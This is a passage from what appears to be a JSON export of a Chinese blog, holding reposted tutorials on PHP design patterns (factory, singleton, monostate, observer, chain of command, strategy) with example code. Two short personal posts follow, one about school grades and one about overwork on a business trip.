MyClassCreator()\n{\n\u0026nbsp;\u0026nbsp; return(new MyClass());\n}\n$factory = Factory::getInstance();\n$factory-\u0026gt;registerClass(1234, \u0026quot;MyClassCreator\u0026quot;);\n$instance = $factory-\u0026gt;createObject(1234, array());\n/**\n* \u0026quot;PHP 5 Power Programming\u0026quot; 中的对 factory 模式的诠释\n* * 一个 Factory 类通常都有一个方法负责接受参数，根据参数的不同来决定\n* \u0026quot;生产\u0026quot;哪个类的实例。下面拿网站的用户作为例子，作为实际运用：把网站\n* 用户分成匿名用户，普通(注册)用户，管理员。我们在类中进行用户的权限\n* 控制\u0026#8212;这样能够更好的展现 factory 类在整个类体系中所扮演的角色。\n*/\n/**\n* 基类 User\n*/\nabstract class User {\n\u0026nbsp;\u0026nbsp; public $name = null;\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; public function __construct($name)\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; $this-\u0026gt;name = $name;\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; function getName()\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; return $this-\u0026gt;name;\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; // 权限控制方法\n\u0026nbsp;\u0026nbsp; function hasReadPermission()\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; return true;\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; function hasModifyPermission()\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; return false;\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; function hasDeletePermission()\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; return false;\n\u0026nbsp;\u0026nbsp; }\n}\n// 匿名用户类\nclass GuestUser extends User {}\n// 注册用户类\nclass CustomerUser extends User {\n\u0026nbsp;\u0026nbsp; function hasModifyPermission()\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; return true;\n\u0026nbsp;\u0026nbsp; }\n}\n// 管理员类\nclass AdminUser extends User {\n\u0026nbsp;\u0026nbsp; function hasModifyPermission()\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; return true;\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; function hasDeletePermission()\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; return true;\n\u0026nbsp;\u0026nbsp; }\n}\n/**\n* 用户 factory 类\n*/\nclass UserFactory {\n\u0026nbsp;\u0026nbsp; private static $users = \u0026nbsp;\u0026nbsp; array(\u0026quot;Andi\u0026quot;=\u0026gt;\u0026quot;admin\u0026quot;, \u0026quot;Hick\u0026quot;=\u0026gt;\u0026quot;guest\u0026quot;,\n\u0026nbsp;\u0026nbsp; \u0026quot;Derick\u0026quot;=\u0026gt;\u0026quot;customer\u0026quot;);\n\u0026nbsp;\u0026nbsp; static function Create($name)\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; if (!isset(self::$users[$name])) {\n\u0026nbsp;\u0026nbsp; // 如果不存在对应的用户类，则提示错误\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; switch (self::$users[$name]) {\n\u0026nbsp;\u0026nbsp; case \u0026quot;guest\u0026quot;: return new GuestUser($name);\n\u0026nbsp;\u0026nbsp; case \u0026quot;customer\u0026quot;: return new CustomerUser($name);\n\u0026nbsp;\u0026nbsp; case \u0026quot;admin\u0026quot;: return new AdminUser($name);\n\u0026nbsp;\u0026nbsp; default: // 默认应该报错\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; }\n}\n// 使用 factory 类实例化用户\n$HickUser = UserFactory::Create(\u0026#8216;Hick\u0026#8216;);\necho $HickUser-\u0026gt;name;\n?\u0026gt; ","title":"[转]PHP 中实现 Factory 模式"},{"content":" 转自:http://blog.chinaunix.net/u/10599/showart_329555.html\n通常来说，类和对象(类的实例)之间是一对多的关系。但是某些情况下，我们只\n需要一个类的一个实例。比如多个实例的多样性反倒会带来一些不可控因素，多\n次的实例化，是一种资源的浪费，降低了效率；又如他们是工厂对象(factory\nobject)，用来创建系统中的其他对象，等等。这时候，较好的处理方式就是让类\n的实例具有单一性：保障这个类在运行过程中最多生成一个实例( Singleton 模\n式)，或者让所有的实例保持一致( Monostate 模式)。\nPHP 下实现 Singleton 模式示例：\n\u0026lt;?php\nclass Singleton\n{\n\u0026nbsp;\u0026nbsp; private static $instance;\n\u0026nbsp;\u0026nbsp; private function __construct()\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; public static function instance()\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; if(self::$instance == null)\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; self::$instance = new Singleton();\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; return self::$instance;\n\u0026nbsp;\u0026nbsp; }\n}\n?\u0026gt; 创建 singleton 类实例就只能够是这样了：\n$instance = Singleton::instance();\n// 这样是错误的： $instance = new Singleton(); 详细分析一下 PHP 下实现的 singleton 模式的特征：\n1. 一个 static, private 属性：用来保存一个实例，static 保证类不被实例化\n也能够被类方法调用, private 保证它不被类的实例等改变。\n2. 一个 private 的构造方法：不允许该类在本类之外的地方实例化。\n3. 一个 static, public 方法：负责创建实例并保证其唯一性。static 使该方\n法可以不被实例化即可被调用。\n跟下面的 monostate 比，它的优点在于：\n1. 适应任何类，满足上面的三个特征即可。\n2. 可以统购派生创建，给定一个类，可以创建它的一个 singleton 子类。\n缺点：\n1. singleton 特性不能够被继承，其子类就不是 singleton 类了。\n2. 使用不通明，使用者必须知道它使用的是一个 singleton 类，而不能够通过\nnew 来实例化。\nmonostate 模式的基本原理就是让 monostate 类的所有实例使用起来是同一个实\n例一样。实际上把类的所有属性都使用 static 声明即可：\n\u0026lt;?php class monostate { \u0026nbsp;\u0026nbsp; private static $itsX = 0; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; public function __construct() \u0026nbsp;\u0026nbsp; { \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; } \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; public function setX($x) \u0026nbsp;\u0026nbsp; { \u0026nbsp;\u0026nbsp; self::$itsX = $x; \u0026nbsp;\u0026nbsp; } \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; public function getX() \u0026nbsp;\u0026nbsp; { \u0026nbsp;\u0026nbsp; return self::$itsX; \u0026nbsp;\u0026nbsp; } } ?\u0026gt; 具体就不再详细介绍，其优缺点基本上刚好跟 singleton 模式相反。\n参考资料：《敏捷软件开发：原则、模式与实践》\n","permalink":"https://hessian.cn/p/489.html","summary":" 转自:http://blog.chinaunix.net/u/10599/showart_329555.html\n通常来说，类和对象(类的实例)之间是一对多的关系。但是某些情况下，我们只\n需要一个类的一个实例。比如多个实例的多样性反倒会带来一些不可控因素，多\n次的实例化，是一种资源的浪费，降低了效率；又如他们是工厂对象(factory\nobject)，用来创建系统中的其他对象，等等。这时候，较好的处理方式就是让类\n的实例具有单一性：保障这个类在运行过程中最多生成一个实例( Singleton 模\n式)，或者让所有的实例保持一致( Monostate 模式)。\nPHP 下实现 Singleton 模式示例：\n\u0026lt;?php\nclass Singleton\n{\n\u0026nbsp;\u0026nbsp; private static $instance;\n\u0026nbsp;\u0026nbsp; private function __construct()\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; public static function instance()\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; if(self::$instance == null)\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp; self::$instance = new Singleton();\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; return self::$instance;\n\u0026nbsp;\u0026nbsp; }\n}\n?\u0026gt; 创建 singleton 类实例就只能够是这样了：\n$instance = Singleton::instance();\n// 这样是错误的： $instance = new Singleton(); 详细分析一下 PHP 下实现的 singleton 模式的特征：\n1. 一个 static, private 属性：用来保存一个实例，static 保证类不被实例化\n也能够被类方法调用, private 保证它不被类的实例等改变。\n2. 一个 private 的构造方法：不允许该类在本类之外的地方实例化。\n3. 一个 static, public 方法：负责创建实例并保证其唯一性。static 使该方\n法可以不被实例化即可被调用。\n跟下面的 monostate 比，它的优点在于：\n1. 适应任何类，满足上面的三个特征即可。\n2. 可以统购派生创建，给定一个类，可以创建它的一个 singleton 子类。\n缺点：\n1. singleton 特性不能够被继承，其子类就不是 singleton 类了。\n2. 使用不通明，使用者必须知道它使用的是一个 singleton 类，而不能够通过\nnew 来实例化。\nmonostate 模式的基本原理就是让 monostate 类的所有实例使用起来是同一个实\n例一样。实际上把类的所有属性都使用 static 声明即可：\n\u0026lt;?php class monostate { \u0026nbsp;\u0026nbsp; private static $itsX = 0; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; public function __construct() \u0026nbsp;\u0026nbsp; { \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; } \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; public function setX($x) \u0026nbsp;\u0026nbsp; { \u0026nbsp;\u0026nbsp; self::$itsX = $x; \u0026nbsp;\u0026nbsp; } \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; public function getX() \u0026nbsp;\u0026nbsp; { \u0026nbsp;\u0026nbsp; return self::$itsX; \u0026nbsp;\u0026nbsp; } } ?\u0026gt; 具体就不再详细介绍，其优缺点基本上刚好跟 singleton 模式相反。\n参考资料：《敏捷软件开发：原则、模式与实践》\n","title":"[转]PHP 中实现 Singleton 模式和 Monostate 模式"},{"content":"转自:http://blog.csdn.net/kenwyn/archive/2007/03/26/1541443.aspx\n设计模式只是为 Java 架构师准备的 \u0026mdash;\u0026mdash; 至少您可能一直这样认为。实际上，设计模式对于每个人都非常有用。如果这些工具不是 \u0026ldquo;架构太空人\u0026rdquo; 的专利，那么它们又是什么？为什么说它们在 应用程序中非常有用？本文解释了这些问题。PHP\n设计模式 一书将设计模式引入软件社 区，该书的作者是 Erich Gamma、Richard Helm、Ralph Johnson 和 John Vlissides Design（俗称 \u0026ldquo;四人帮\u0026rdquo;）。所介绍的设计模式背后的核心概念非常简单。经过多年的软件开发实践，Gamma 等人发现了某些具有固定设计的模式，就像建筑师设计房子和建筑物一样，可以为浴室的位置或厨房的构造方式开发模板。使用这些模板或者说设计模式 意味着可以更快地设计更好的建筑物。同样的概念也适用于软件。\n设计模式不仅代表着更快开发健壮软件的有用方法，而且还提供了以友好的术语封装大型理念的方法。例如，您可以说您正在编写一个提供松散耦合的消息传递系统，也可以说你正在编写名称为观察者 的模式。\n用 较小的示例展示模式的价值是非常困难的。这往往有些大材小用的意味，因为模式实际上是在大型代码库中发挥作用的。本文不展示大型应用程序，所以您需要思索 的是在您自己的大型应用程序中应用示例原理的方法 \u0026mdash;\u0026mdash; 而不是本文演示的代码本身。这不是说您不应该在小应用程序中使用模式。很多良好的应用程序都以小应用程序为起点，逐渐发展到大型应用程序，所以没有理由不 以此类扎实的编码实践为基础。\n既然您已经了解了设计模式以及它们的有用之处，现在我们来看看 PHP V5 的五种常用模式。\n工厂模式\n最初在设计模式 一书中，许多设计模式都鼓励使用松散耦合。要理解这个概念，让我们最好谈一下许多开发人员从事大型系统的艰苦历程。在更改一个代码片段时，就会发生问题，系统其他部分 \u0026mdash;\u0026mdash; 您曾认为完全不相关的部分中也有可能出现级联破坏。\n该问题在于紧密耦合 。系统某个部分中的函数和类严重依赖于系统的其他部分中函数和类的行为和结构。您需要一组模式，使这些类能够相互通信，但不希望将它们紧密绑定在一起，以避免出现联锁。\n在大型系统中，许多代码依赖于少数几个关键类。需要更改这些类时，可能会出现困难。例如，假设您有一个从文件读取的 User 类。您希望将其更改为从数据库读取的其他类，但是，所有的代码都引用从文件读取的原始类。这时候，使用工厂模式会很方便。\n工厂模式 是一种类，它具有为您创建对象的某些方法。您可以使用工厂类创建对象，而不直接使用 new。这样，如果您想要更改所创建的对象类型，只需更改该工厂即可。使用该工厂的所有代码会自动更改。\n清单 1 显示工厂类的一个示列。等式的服务器端包括两个部分：数据库和一组 PHP 页面，这些页面允许您添加反馈、请求反馈列表并获取与特定反馈相关的文章。\n清单 1. Factory1.php\n\u0026lt;?php\ninterface IUser\n{\nfunction getName();\n}\nclass User implements IUser\n{\npublic function __construct( $id ) { }\npublic function getName()\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; return \u0026quot;Jack\u0026quot;;\n}\n}\nclass UserFactory\n{\npublic static function Create( $id )\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; return new User( $id );\n}\n}\n$uo = UserFactory::Create( 1 );\necho( $uo-\u0026gt;getName().\u0026quot;n\u0026quot; );\n?\u0026gt; IUser 接口定义用户对象应执行什么操作。IUser 的实现称为 User，UserFactory 工厂类则创建 IUser 对象。此关系可以用图 1 中的 UML 表示。\n图 1. 工厂类及其相关 IUser 接口和用户类\n如果您使用 php 解释器在命令行上运行此代码，将得到如下结果：\n% php factory1.php Jack\n% 测试代码会向工厂请求 User 对象，并输出 getName 方法的结果。\n有 一种工厂模式的变体使用工厂方法。类中的这些公共静态方法构造该类型的对象。如果创建此类型的对象非常重要，此方法非常有用。例如，假设您需要先创建对 象，然后设置许多属性。此版本的工厂模式会将该进程封装在单个位置中，这样，不用复制复杂的初始化代码，也不必将复制好的代码在在代码库中到处粘贴。\n清单 2 显示使用工厂方法的一个示例。\n清单 2. Factory2.php\n\u0026lt;?php\ninterface IUser\n{\nfunction getName();\n}\nclass User implements IUser\n{\npublic static function Load( $id ) {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return new User( $id );\n}\npublic static function Create( ) {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return new User( null );\n}\npublic function __construct( $id ) { }\npublic function getName()\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; return \u0026quot;Jack\u0026quot;;\n}\n}\n$uo = User::Load( 1 );\necho( $uo-\u0026gt;getName().\u0026quot;n\u0026quot; );\n?\u0026gt; 这段代码要简单得多。它仅有一个接口 IUser 和一个实现此接口的 User 类。User 类有两个创建对象的静态方法。此关系可用图 2 中的 UML 表示。\n图 2. IUser 接口和带有工厂方法的 user 类\n在命令行中运行脚本产生的结果与清单 1 的结果相同，如下所示：\n% php factory2.php Jack\n%\n如上所述，有时此类模式在规模较小的环境中似乎有些大材小用。不过，最好还是学习这种扎实的编码形式，以便应用于任意规模的项目中。\n单元素模式\n某些应用程序资源是独占的，因为有且只有一个此类型的资源。例如，通过数据库句柄到数据库的连接是独占的。您希望在应用程序中共享数据库句柄，因为在保持连接打开或关闭时，它是一种开销，在获取单个页面的过程中更是如此。\n单元素模式可以满足此要求。如果应用程序每次包含且仅包含一个对象，那么这个对象就是一个单元素（Singleton）。清单 3 中的代码显示了 PHP V5 中的一个数据库连接单元素。\n清单 3. Singleton.php\n\u0026lt;?php\nrequire_once(\u0026quot;DB.php\u0026quot;);\nclass DatabaseConnection\n{\npublic static function get()\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; static $db = null;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; if ( $db == null )\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $db = new DatabaseConnection();\n\u0026nbsp;\u0026nbsp;\u0026nbsp; return $db;\n}\nprivate $_handle = null;\nprivate function __construct()\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; $dsn = \u0026#8216;mysql://root:password@localhost/photos\u0026#8217;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; $this-\u0026gt;_handle =\u0026amp; DB::Connect( $dsn, array() );\n}\npublic function handle()\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; return $this-\u0026gt;_handle;\n}\n}\nprint( \u0026quot;Handle = \u0026quot;.DatabaseConnection::get()-\u0026gt;handle().\u0026quot;n\u0026quot; );\nprint( \u0026quot;Handle = \u0026quot;.DatabaseConnection::get()-\u0026gt;handle().\u0026quot;n\u0026quot; );\n?\u0026gt; 此 代码显示名为 DatabaseConnection 的单个类。您不能创建自已的 DatabaseConnection，因为构造函数是专用的。但使用静态 get 方法，您可以获得且仅获得一个 DatabaseConnection 对象。此代码的 UML 如图 3 所示。\n图 3. 数据库连接单元素\n在两次调用间，handle 方法返回的数据库句柄是相同的，这就是最好的证明。您可以在命令行中运行代码来观察这一点。\n% php singleton.php Handle = Object id #3\nHandle = Object id #3\n%\n返回的两个句柄是同一对象。如果您在整个应用程序中使用数据库连接单元素，那么就可以在任何地方重用同一句柄。\n您可以使用全局变量存储数据库句柄，但是，该方法仅适用于较小的应用程序。在较大的应用程序中，应避免使用全局变量，并使用对象和方法访问资源。\n观察者模式\n观 察者模式为您提供了避免组件之间紧密耦合的另一种方法。该模式非常简单：一个对象通过添加一个方法（该方法允许另一个对象，即观察者 注册自己）使本身变得可观察。当可观察的对象更改时，它会将消息发送到已注册的观察者。这些观察者使用该信息执行的操作与可观察的对象无关。结果是对象可 以相互对话，而不必了解原因。\n一个简单示例是系统中的用户列表。清单 4 中的代码显示一个用户列表，添加用户时，它将发送出一条消息。添加用户时，通过发送消息的日志观察者可以观察此列表。\n清单 4. Observer.php\n\u0026lt;?php\ninterface IObserver\n{\nfunction onChanged( $sender, $args );\n}\ninterface IObservable\n{\nfunction addObserver( $observer );\n}\nclass UserList implements IObservable\n{\nprivate $_observers = array();\npublic function addCustomer( $name )\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; foreach( $this-\u0026gt;_observers as $obs )\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $obs-\u0026gt;onChanged( $this, $name );\n}\npublic function addObserver( $observer )\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; $this-\u0026gt;_observers []= $observer;\n}\n}\nclass UserListLogger implements IObserver\n{\npublic function onChanged( $sender, $args )\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; echo( \u0026quot;\u0026#8217;$args\u0026#8217; added to user listn\u0026quot; );\n}\n}\n$ul = new UserList();\n$ul-\u0026gt;addObserver( new UserListLogger() );\n$ul-\u0026gt;addCustomer( \u0026quot;Jack\u0026quot; );\n?\u0026gt; 此 代码定义四个元素：两个接口和两个类。IObservable 接口定义可以被观察的对象，UserList 实现该接口，以便将本身注册为可观察。IObserver 列表定义要通过怎样的方法才能成为观察者，UserListLogger 实现 IObserver 接口。图 4 的 UML 中展示了这些元素。\n图 4. 可观察的用户列表和用户列表事件日志程序 如果在命令行中运行它，您将看到以下输出：\n% php observer.php \u0026#8216;Jack\u0026#8217; added to user list\n% 测试代码创建 UserList，并将 UserListLogger 观察者添加到其中。然后添加一个消费者，并将这一更改通知 UserListLogger。\n认 识到 UserList 不知道日志程序将执行什么操作很关键。可能存在一个或多个执行其他操作的侦听程序。例如，您可能有一个向新用户发送消息的观察者，欢迎新用户使用该系统。 这种方法的价值在于 UserList 忽略所有依赖它的对象，它主要关注在列表更改时维护用户列表并发送消息这一工作。\n此模式不限于内存中的对象。它是在较大的应用程序中使用的数据库驱动的消息查询系统的基础。\n命令链模式\n命令链 模式以松散耦合主题为基础，发送消息、命令和请求，或通过一组处理程序发送任意内容。每个处理程序都会自行判断自己能否处理请求。如果可以，该请求被处理，进程停止。您可以为系统添加或移除处理程序，而不影响其他处理程序。清单 5 显示了此模式的一个示例。\n清单 5. Chain.php\n\u0026lt;?php\ninterface ICommand\n{\nfunction onCommand( $name, $args );\n}\nclass CommandChain\n{\nprivate $_commands = array();\npublic function addCommand( $cmd )\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; $this-\u0026gt;_commands []= $cmd;\n}\npublic function runCommand( $name, $args )\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; foreach( $this-\u0026gt;_commands as $cmd )\n\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if ( $cmd-\u0026gt;onCommand( $name, $args ) )\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n}\n}\nclass UserCommand implements ICommand\n{\npublic function onCommand( $name, $args )\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; if ( $name != \u0026#8216;addUser\u0026#8217; ) return false;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; echo( \u0026quot;UserCommand handling \u0026#8216;addUser\u0026#8217;n\u0026quot; );\n\u0026nbsp;\u0026nbsp;\u0026nbsp; return true;\n}\n}\nclass MailCommand implements ICommand\n{\npublic function onCommand( $name, $args )\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; if ( $name != \u0026#8216;mail\u0026#8217; ) return false;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; echo( \u0026quot;MailCommand handling \u0026#8216;mail\u0026#8217;n\u0026quot; );\n\u0026nbsp;\u0026nbsp;\u0026nbsp; return true;\n}\n}\n$cc = new CommandChain();\n$cc-\u0026gt;addCommand( new UserCommand() );\n$cc-\u0026gt;addCommand( new MailCommand() );\n$cc-\u0026gt;runCommand( \u0026#8216;addUser\u0026#8217;, null );\n$cc-\u0026gt;runCommand( \u0026#8216;mail\u0026#8217;, null );\n?\u0026gt; 此代码定义维护 ICommand 对象列表的 CommandChain 类。两个类都可以实现 ICommand 接口 \u0026mdash;\u0026mdash; 一个对邮件的请求作出响应，另一个对添加用户作出响应。 图 5 给出了 UML。\n图 5. 命令链及其相关命令\n如果您运行包含某些测试代码的脚本，则会得到以下输出：\n% php chain.php UserCommand handling \u0026#8216;addUser\u0026#8217;\nMailCommand handling \u0026#8216;mail\u0026#8217;\n%\n代码首先创建 CommandChain 对象，并为它添加两个命令对象的实例。然后运行两个命令以查看谁对这些命令作出了响应。如果命令的名称匹配 UserCommand 或 MailCommand，则代码失败，不发生任何操作。\n为处理请求而创建可扩展的架构时，命令链模式很有价值，使用它可以解决许多问题。\n策略模式\n我 们讲述的最后一个设计模式是策略 模式。在此模式中，算法是从复杂类提取的，因而可以方便地替换。例如，如果要更改搜索引擎中排列页的方法，则策略模式是一个不错的选择。思考一下搜索引擎 的几个部分 \u0026mdash;\u0026mdash; 一部分遍历页面，一部分对每页排列，另一部分基于排列的结果排序。在复杂的示例中，这些部分都在同一个类中。通过使用策略模式，您可将排列部分放入另一个 类中，以便更改页排列的方式，而不影响搜索引擎的其余代码。\n作为一个较简单的示例，清单 6 显示了一个用户列表类，它提供了一个根据一组即插即用的策略查找一组用户的方法。\n清单 6. Strategy.php\n\u0026lt;?php\ninterface IStrategy\n{\nfunction filter( $record );\n}\nclass FindAfterStrategy implements IStrategy\n{\nprivate $_name;\npublic function __construct( $name )\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; $this-\u0026gt;_name = $name;\n}\npublic function filter( $record )\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; return strcmp( $this-\u0026gt;_name, $record ) \u0026lt;= 0;\n}\n}\nclass RandomStrategy implements IStrategy\n{\npublic function filter( $record )\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; return rand( 0, 1 ) \u0026gt;= 0.5;\n}\n}\nclass UserList\n{\nprivate $_list = array();\npublic function __construct( $names )\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; if ( $names != null )\n\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; foreach( $names as $name )\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $this-\u0026gt;_list []= $name;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n}\npublic function add( $name )\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; $this-\u0026gt;_list []= $name;\n}\npublic function find( $filter )\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; $recs = array();\n\u0026nbsp;\u0026nbsp;\u0026nbsp; foreach( $this-\u0026gt;_list as $user )\n\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if ( $filter-\u0026gt;filter( $user ) )\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $recs []= $user;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp; return $recs;\n}\n}\n$ul = new UserList( array( \u0026quot;Andy\u0026quot;, \u0026quot;Jack\u0026quot;, \u0026quot;Lori\u0026quot;, \u0026quot;Megan\u0026quot; ) );\n$f1 = $ul-\u0026gt;find( new FindAfterStrategy( \u0026quot;J\u0026quot; ) );\nprint_r( $f1 );\n$f2 = $ul-\u0026gt;find( new RandomStrategy() );\nprint_r( $f2 );\n?\u0026gt; 图 6. 用户列表和用于选择用户的策略\nUserList 类是打包名称数组的一个包装器。它实现 find 方法，该方法利用几个策略之一来选择这些名称的子集。这些策略由 IStrategy 接口定义，该接口有两个实现：一个随机选择用户，另一个根据指定名称选择其后的所有名称。运行测试代码时，将得到以下输出：\n% php strategy.php Array\n(\n\u0026nbsp;\u0026nbsp;\u0026nbsp; [0] =\u0026gt; Jack\n\u0026nbsp;\u0026nbsp;\u0026nbsp; [1] =\u0026gt; Lori\n\u0026nbsp;\u0026nbsp;\u0026nbsp; [2] =\u0026gt; Megan\n)\nArray\n(\n\u0026nbsp;\u0026nbsp;\u0026nbsp; [0] =\u0026gt; Andy\n\u0026nbsp;\u0026nbsp;\u0026nbsp; [1] =\u0026gt; Megan\n)\n% 测试代码为两个策略运行同一用户列表，并显示结果。在第一种情况中，策略查找排列在 J 后的任何名称，所以您将得到 Jack、Lori 和 Megan。第二个策略随机选取名称，每次会产生不同的结果。在这种情况下，结果为 Andy 和 Megan。\n策略模式非常适合复杂数据管理系统或数据处理系统，二者在数据筛选、搜索或处理的方式方面需要较高的灵活性。\n结束语\n本文介绍的仅仅是 PHP 应用程序中使用的几种最常见的设计模式。在设计模式 一书中演示了更多的设计模式。不要因架构的神秘性而放弃。模式是一种绝妙的理念，适用于任何编程语言、任何技能水平。\n","permalink":"https://hessian.cn/p/569.html","summary":"转自:http://blog.csdn.net/kenwyn/archive/2007/03/26/1541443.aspx\n设计模式只是为 Java 架构师准备的 \u0026mdash;\u0026mdash; 至少您可能一直这样认为。实际上，设计模式对于每个人都非常有用。如果这些工具不是 \u0026ldquo;架构太空人\u0026rdquo; 的专利，那么它们又是什么？为什么说它们在 应用程序中非常有用？本文解释了这些问题。PHP\n","title":"[转]五种常见的PHP设计模式"},{"content":"\u0026ldquo;其实我小学时学习成绩非常好，但是我在初中的时候一落千丈，因为我觉得当时已经找到了自己的方向，我认为自己由一个碌碌无为的人变成了一个很有理想的人，所以我的成绩就一落千丈了。\u0026rdquo;\n戴志军的话\n居然跟我那么相像 挖哈哈哈。。。。\n","permalink":"https://hessian.cn/p/391.html","summary":"\u0026ldquo;其实我小学时学习成绩非常好，但是我在初中的时候一落千丈，因为我觉得当时已经找到了自己的方向，我认为自己由一个碌碌无为的人变成了一个很有理想的人，所以我的成绩就一落千丈了。\u0026rdquo;\n","title":"“其实我小学时学习成绩非常好，但是我在初中的时候一落千丈…”"},{"content":"被放逐到广州了\u0026#8230;.\n郁闷\u0026#8230;\n本以为呢,出差了 可以轻松一点 可以到处玩玩 逛逛, 怎么说也不能再每天工作15小时+了吧\u0026#8230;..\n靠\u0026#8230;哪知在广州更狠\u0026#8230;比在北京时更纯粹的三点一线\n工作 吃饭 睡觉\u0026#8230;.\n绝对没有多余的第四点\u0026#8230;.\n郁闷死啦\u0026#8230;\u0026#8230;..\n每天都是半夜1,2点回酒店\u0026#8230;\u0026#8230;\u0026#8230;..5555\u0026#8230;妈妈\u0026#8230;..我要回家\u0026#8230;.\n哎\u0026#8230;薪水又低呢\u0026#8230;\u0026#8230;还欠boss的债\u0026#8230;.这日子\u0026#8230;苦啊\u0026#8230;\u0026#8230;\n思量着,,,什么时候跳巢呢?\u0026#8230;..\n","permalink":"https://hessian.cn/p/615.html","summary":"被放逐到广州了\u0026#8230;.\n郁闷\u0026#8230;\n本以为呢,出差了 可以轻松一点 可以到处玩玩 逛逛, 